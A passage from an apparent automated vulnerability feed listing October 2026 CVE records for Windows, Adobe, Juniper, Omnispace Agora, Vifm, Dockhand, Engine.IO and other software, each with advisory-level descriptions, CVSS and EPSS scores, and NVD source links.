Relative path traversal in Windows Shell allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Numeric truncation error in Microsoft Graphics Component allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70123
Numeric truncation error in Microsoft Graphics Component allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Numeric truncation error in Microsoft Graphics Component allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 17, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70123).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70123&date=2026-10-25).
Sources:
NVD CVE-2026-70123: https://nvd.nist.gov/vuln/detail/CVE-2026-70123
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70123&date=2026-10-25
Numeric truncation error in Microsoft Graphics Component allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Access of resource using incompatible type ('type confusion') in Windows SmartScreen allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70051
Access of resource using incompatible type ('type confusion') in Windows SmartScreen allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Access of resource using incompatible type ('type confusion') in Windows SmartScreen allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 17, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70051).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70051&date=2026-10-25).
Sources:
NVD CVE-2026-70051: https://nvd.nist.gov/vuln/detail/CVE-2026-70051
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70051&date=2026-10-25
Access of resource using incompatible type ('type confusion') in Windows SmartScreen allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An SQL injection vulnerability could allow an authenticated user to read or modify data stored by Nessus.
https://kevwire.com/record/CVE-2026-103946
An SQL injection vulnerability could allow an authenticated user to read or modify data stored by Nessus. (Oct 14, 2026).
An SQL injection vulnerability could allow an authenticated user to read or modify data stored by Nessus.
CVSS 8.7 (version 4.0; evidence as of Oct 17, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103946).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103946&date=2026-10-25).
Sources:
NVD CVE-2026-103946: https://nvd.nist.gov/vuln/detail/CVE-2026-103946
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103946&date=2026-10-25
An SQL injection vulnerability could allow an authenticated user to read or modify data stored by Nessus.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Heap-based Buffer Overflow vulnerability in the SVR component of Juniper Networks Junos OS on SRX Series allows an unauthenticated network attacker to cause a denial of service...
https://kevwire.com/record/CVE-2026-101950
A Heap-based Buffer Overflow vulnerability in the SVR component of Juniper Networks Junos OS on SRX Series allows an unauthenticated network attacker to cause a denial of service... (Oct 14, 2026).
A Heap-based Buffer Overflow vulnerability in the SVR component of Juniper Networks Junos OS on SRX Series allows an unauthenticated network attacker to cause a denial of service and potentially compromise confidentiality and integrity via malformed IPv4 packets reaching an interface configured for Secure Vector Routing.
CVSS 9.3 (version 4.0; evidence as of Oct 17, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101950).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101950&date=2026-10-25).
Sources:
NVD CVE-2026-101950: https://nvd.nist.gov/vuln/detail/CVE-2026-101950
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101950&date=2026-10-25
A Heap-based Buffer Overflow vulnerability in the SVR component of Juniper Networks Junos OS on SRX Series allows an unauthenticated network attacker to cause a denial of service and potentially compromise confidentiality and integrity via malformed IPv4 packets reaching an interface configured for Secure Vector Routing.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Legacy Update is a tool for activating and installing updates on legacy Windows PCs.
https://kevwire.com/record/CVE-2026-97381
Legacy Update is a tool for activating and installing updates on legacy Windows PCs. (Oct 13, 2026).
Legacy Update is a tool for activating and installing updates on legacy Windows PCs. Legacy Update 1.12.0 through 1.13.1 contains an origin validation error in the IsPermitted method of its ActiveX control. After successfully reading the hosting document's hostname, a hostname that is not on the permitted list falls through without setting E_ACCESSDENIED, causing IsPermitted to return S_OK. An attacker who induces a user to visit a malicious webpage in Internet Explorer can invoke the control to enumerate update and system information, install updates without consent, display dialogs, or restart the computer when a reboot is pending. This issue was fixed in Legacy Update 1.13.2.
CVSS 9.9 (version 3.1; evidence as of Oct 17, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97381).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97381&date=2026-10-25).
Sources:
NVD CVE-2026-97381: https://nvd.nist.gov/vuln/detail/CVE-2026-97381
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97381&date=2026-10-25
Legacy Update is a tool for activating and installing updates on legacy Windows PCs. Legacy Update 1.12.0 through 1.13.1 contains an origin validation error in the IsPermitted method of its ActiveX control. After successfully reading the hosting document's hostname, a hostname that is not on the permitted list falls through without setting E_ACCESSDENIED, causing IsPermitted to return S_OK. An attacker who induces a user to visit a malicious webpage in Internet Explorer can invoke the control to enumerate update and system information, install updates without consent, display dialogs, or restart the computer when a reboot is pending. This issue was fixed in Legacy Update 1.13.2.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CAI Content Credentials is affected by an Improper Verification of Cryptographic Signature vulnerability that could result in a Security feature bypass.
https://kevwire.com/record/CVE-2026-95633
CAI Content Credentials is affected by an Improper Verification of Cryptographic Signature vulnerability that could result in a Security feature bypass. (Oct 13, 2026).
CAI Content Credentials is affected by an Improper Verification of Cryptographic Signature vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.
CVSS 7.5 (version 3.1; evidence as of Oct 17, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-95633).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-95633&date=2026-10-25).
Sources:
NVD CVE-2026-95633: https://nvd.nist.gov/vuln/detail/CVE-2026-95633
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/content-credentials-sdk/apsb26-163.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-95633&date=2026-10-25
CAI Content Credentials is affected by an Improper Verification of Cryptographic Signature vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Omnispace Agora Project before 26.10.0 contains a broken access control vulnerability that allows a space administrator to assign users into spaces outside their authority because...
https://kevwire.com/record/CVE-2026-63174
Omnispace Agora Project before 26.10.0 contains a broken access control vulnerability that allows a space administrator to assign users into spaces outside their authority because... (Oct 13, 2026).
Omnispace Agora Project before 26.10.0 contains a broken access control vulnerability that allows a space administrator to assign users into spaces outside their authority because the spaceAffectList affectation was performed without verifying the caller's rights to the target space. Attackers can exploit the missing readRight() check in the import flow's join INSERT to break tenant isolation and manipulate user-space assignments across unauthorized spaces.
CVSS 8.6 (version 4.0; evidence as of Oct 17, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-63174).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-63174&date=2026-10-25).
Sources:
NVD CVE-2026-63174: https://nvd.nist.gov/vuln/detail/CVE-2026-63174
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-63174&date=2026-10-25
Omnispace Agora Project before 26.10.0 contains a broken access control vulnerability that allows a space administrator to assign users into spaces outside their authority because the spaceAffectList affectation was performed without verifying the caller's rights to the target space. Attackers can exploit the missing readRight() check in the import flow's join INSERT to break tenant isolation and manipulate user-space assignments across unauthorized spaces.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Omnispace Agora Project before 26.10.0 contains a second-order SQL injection vulnerability that allows authenticated attackers to inject malicious SQL via the _idCategoryFilter...
https://kevwire.com/record/CVE-2026-63152
Omnispace Agora Project before 26.10.0 contains a second-order SQL injection vulnerability that allows authenticated attackers to inject malicious SQL via the _idCategoryFilter... (Oct 13, 2026).
Omnispace Agora Project before 26.10.0 contains a second-order SQL injection vulnerability that allows authenticated attackers to inject malicious SQL via the _idCategoryFilter parameter, which is persisted into the session and later concatenated into a SQL statement without parameterization. Attackers can store a malicious payload that executes when the filter is subsequently applied in app/Common/MdlCategory.php, leading to unauthorized database access or manipulation.
CVSS 8.6 (version 4.0; evidence as of Oct 17, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-63152).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-63152&date=2026-10-25).
Sources:
NVD CVE-2026-63152: https://nvd.nist.gov/vuln/detail/CVE-2026-63152
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-63152&date=2026-10-25
Omnispace Agora Project before 26.10.0 contains a second-order SQL injection vulnerability that allows authenticated attackers to inject malicious SQL via the _idCategoryFilter parameter, which is persisted into the session and later concatenated into a SQL statement without parameterization. Attackers can store a malicious payload that executes when the filter is subsequently applied in app/Common/MdlCategory.php, leading to unauthorized database access or manipulation.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Omnispace Agora Project before 26.10.0 contains a code injection vulnerability where unescaped, attacker-controlled values are written into the config.inc.php configuration file...
https://kevwire.com/record/CVE-2026-63146
Omnispace Agora Project before 26.10.0 contains a code injection vulnerability where unescaped, attacker-controlled values are written into the config.inc.php configuration file... (Oct 13, 2026).
Omnispace Agora Project before 26.10.0 contains a code injection vulnerability where unescaped, attacker-controlled values are written into the config.inc.php configuration file during installation through File::updateConfigFile() and DbInstall::dbControl(), combined with an SQL injection issue enabled by PDO::ATTR_EMULATE_PREPARES supporting stacked queries. Attackers can exploit the SQL injection to re-trigger the installer and inject arbitrary PHP code into config.inc.php, achieving unauthenticated remote code execution on the underlying system.
CVSS 9.3 (version 4.0; evidence as of Oct 17, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-63146).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-63146&date=2026-10-25).
Sources:
NVD CVE-2026-63146: https://nvd.nist.gov/vuln/detail/CVE-2026-63146
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-63146&date=2026-10-25
Omnispace Agora Project before 26.10.0 contains a code injection vulnerability where unescaped, attacker-controlled values are written into the config.inc.php configuration file during installation through File::updateConfigFile() and DbInstall::dbControl(), combined with an SQL injection issue enabled by PDO::ATTR_EMULATE_PREPARES supporting stacked queries. Attackers can exploit the SQL injection to re-trigger the installer and inject arbitrary PHP code into config.inc.php, achieving unauthenticated remote code execution on the underlying system.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vifm 0.8.1-beta through 0.14.4 reuses a pre-existing IPC FIFO in the shared temporary directory without checking ownership, allowing local users to execute commands as another...
https://kevwire.com/record/CVE-2026-110237
Vifm 0.8.1-beta through 0.14.4 reuses a pre-existing IPC FIFO in the shared temporary directory without checking ownership, allowing local users to execute commands as another... (Oct 13, 2026).
Vifm 0.8.1-beta through 0.14.4 reuses a pre-existing IPC FIFO in the shared temporary directory without checking ownership, allowing local users to execute commands as another user. Attackers can pre-create a world-writable vifm-ipc-vifm FIFO and write IPC packets with -c and ! shell commands that execute with the victim's privileges.
CVSS 7.0 (version 4.0; evidence as of Oct 17, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110237).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110237&date=2026-10-25).
Sources:
NVD CVE-2026-110237: https://nvd.nist.gov/vuln/detail/CVE-2026-110237
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110237&date=2026-10-25
Vifm 0.8.1-beta through 0.14.4 reuses a pre-existing IPC FIFO in the shared temporary directory without checking ownership, allowing local users to execute commands as another user. Attackers can pre-create a world-writable vifm-ipc-vifm FIFO and write IPC packets with -c and ! shell commands that execute with the victim's privileges.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Dockhand before 1.0.50 contains a privilege escalation vulnerability that allows users from another tenant to gain admin access because OIDC iss, aud, nonce and exp claims are not...
https://kevwire.com/record/CVE-2026-110112
Dockhand before 1.0.50 contains a privilege escalation vulnerability that allows users from another tenant to gain admin access because OIDC iss, aud, nonce and exp claims are not... (Oct 13, 2026).
Dockhand before 1.0.50 contains a privilege escalation vulnerability that allows users from another tenant to gain admin access because OIDC iss, aud, nonce and exp claims are not validated. Attackers with admin rights in another tenant of a shared provider like Microsoft Entra ID can recreate the mapped admin group and log in as Dockhand administrators.
CVSS 9.2 (version 4.0; evidence as of Oct 17, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110112).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110112&date=2026-10-25).
Sources:
NVD CVE-2026-110112: https://nvd.nist.gov/vuln/detail/CVE-2026-110112
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110112&date=2026-10-25
Dockhand before 1.0.50 contains a privilege escalation vulnerability that allows users from another tenant to gain admin access because OIDC iss, aud, nonce and exp claims are not validated. Attackers with admin rights in another tenant of a shared provider like Microsoft Entra ID can recreate the mapped admin group and log in as Dockhand administrators.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Adobe Experience Manager is affected by an Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability that could result in a Security...
https://kevwire.com/record/CVE-2026-110083
Adobe Experience Manager is affected by an Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability that could result in a Security... (Oct 13, 2026).
Adobe Experience Manager is affected by an Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability that could result in a Security feature bypass. A low-privileged attacker could leverage this vulnerability to bypass security measures and gain unauthorized read and limited write access. Exploitation of this issue does not require user interaction.
CVSS 7.1 (version 3.1; evidence as of Oct 17, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110083).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110083&date=2026-10-25).
Sources:
NVD CVE-2026-110083: https://nvd.nist.gov/vuln/detail/CVE-2026-110083
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110083&date=2026-10-25
Adobe Experience Manager is affected by an Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability that could result in a Security feature bypass. A low-privileged attacker could leverage this vulnerability to bypass security measures and gain unauthorized read and limited write access. Exploitation of this issue does not require user interaction.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Adobe Experience Manager is affected by an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability that could result in arbitrary file system...
https://kevwire.com/record/CVE-2026-106634
Adobe Experience Manager is affected by an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability that could result in arbitrary file system... (Oct 13, 2026).
Adobe Experience Manager is affected by an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability that could result in arbitrary file system write. A low-privileged attacker could leverage this vulnerability to write files to unauthorized locations on the file system. Exploitation of this issue does not require user interaction. Scope is changed.
CVSS 7.7 (version 3.1; evidence as of Oct 17, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-106634).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-106634&date=2026-10-25).
Sources:
NVD CVE-2026-106634: https://nvd.nist.gov/vuln/detail/CVE-2026-106634
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-106634&date=2026-10-25
Adobe Experience Manager is affected by an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability that could result in arbitrary file system write. A low-privileged attacker could leverage this vulnerability to write files to unauthorized locations on the file system. Exploitation of this issue does not require user interaction. Scope is changed.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ColdFusion is affected by an Incorrect Authorization vulnerability that could lead to disclosure of sensitive memory.
https://kevwire.com/record/CVE-2026-106623
ColdFusion is affected by an Incorrect Authorization vulnerability that could lead to disclosure of sensitive memory. (Oct 13, 2026).
ColdFusion is affected by an Incorrect Authorization vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to disclose sensitive information. Exploitation of this issue does not require user interaction.
CVSS 7.5 (version 3.1; evidence as of Oct 17, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-106623).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-106623&date=2026-10-25).
Sources:
NVD CVE-2026-106623: https://nvd.nist.gov/vuln/detail/CVE-2026-106623
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-106623&date=2026-10-25
ColdFusion is affected by an Incorrect Authorization vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to disclose sensitive information. Exploitation of this issue does not require user interaction.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Socket.IO enables bidirectional and low-latency communication for every platform.
https://kevwire.com/record/CVE-2026-102599
Socket.IO enables bidirectional and low-latency communication for every platform. (Oct 13, 2026).
Socket.IO enables bidirectional and low-latency communication for every platform. From Engine.IO 6.6.0 until 6.6.10, a transport upgrade can independently derive an Engine.IO protocol revision from the upgrade request instead of enforcing the revision stored on the existing session. A malicious client can establish a valid session and send an upgrade request with a different or omitted EIO query parameter, attaching a transport with incompatible parser and heartbeat behavior. A crafted heartbeat packet can then trigger an uncaught exception and terminate the Node.js process, including when Engine.IO v3 compatibility is disabled because an omitted EIO value is interpreted as revision 3 on the affected path. This issue is fixed in Engine.IO 6.6.10.
CVSS 7.5 (version 3.1; evidence as of Oct 17, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102599).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102599&date=2026-10-25).
Sources:
NVD CVE-2026-102599: https://nvd.nist.gov/vuln/detail/CVE-2026-102599
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102599&date=2026-10-25
Socket.IO enables bidirectional and low-latency communication for every platform. From Engine.IO 6.6.0 until 6.6.10, a transport upgrade can independently derive an Engine.IO protocol revision from the upgrade request instead of enforcing the revision stored on the existing session. A malicious client can establish a valid session and send an upgrade request with a different or omitted EIO query parameter, attaching a transport with incompatible parser and heartbeat behavior. A crafted heartbeat packet can then trigger an uncaught exception and terminate the Node.js process, including when Engine.IO v3 compatibility is disabled because an omitted EIO value is interpreted as revision 3 on the affected path. This issue is fixed in Engine.IO 6.6.10.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CAI Content Credentials is affected by an Improper Certificate Validation vulnerability that could result in a Security feature bypass.
https://kevwire.com/record/CVE-2026-100123
CAI Content Credentials is affected by an Improper Certificate Validation vulnerability that could result in a Security feature bypass. (Oct 13, 2026).
CAI Content Credentials is affected by an Improper Certificate Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.
CVSS 7.5 (version 3.1; evidence as of Oct 17, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100123).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100123&date=2026-10-25).
Sources:
NVD CVE-2026-100123: https://nvd.nist.gov/vuln/detail/CVE-2026-100123
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/content-credentials-sdk/apsb26-163.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100123&date=2026-10-25
CAI Content Credentials is affected by an Improper Certificate Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CAI Content Credentials is affected by an Improper Certificate Validation vulnerability that could result in a Security feature bypass.
https://kevwire.com/record/CVE-2026-100118
CAI Content Credentials is affected by an Improper Certificate Validation vulnerability that could result in a Security feature bypass. (Oct 13, 2026).
CAI Content Credentials is affected by an Improper Certificate Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.
CVSS 7.5 (version 3.1; evidence as of Oct 17, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100118).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100118&date=2026-10-25).
Sources:
NVD CVE-2026-100118: https://nvd.nist.gov/vuln/detail/CVE-2026-100118
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/content-credentials-sdk/apsb26-163.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100118&date=2026-10-25
CAI Content Credentials is affected by an Improper Certificate Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass.
https://kevwire.com/record/CVE-2026-100113
CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. (Oct 13, 2026).
CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.
CVSS 7.5 (version 3.1; evidence as of Oct 17, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100113).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100113&date=2026-10-25).
Sources:
NVD CVE-2026-100113: https://nvd.nist.gov/vuln/detail/CVE-2026-100113
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/content-credentials-sdk/apsb26-163.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100113&date=2026-10-25
CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Leantime is an open source project management system.
https://kevwire.com/record/CVE-2026-85990
Leantime is an open source project management system. (Oct 13, 2026).
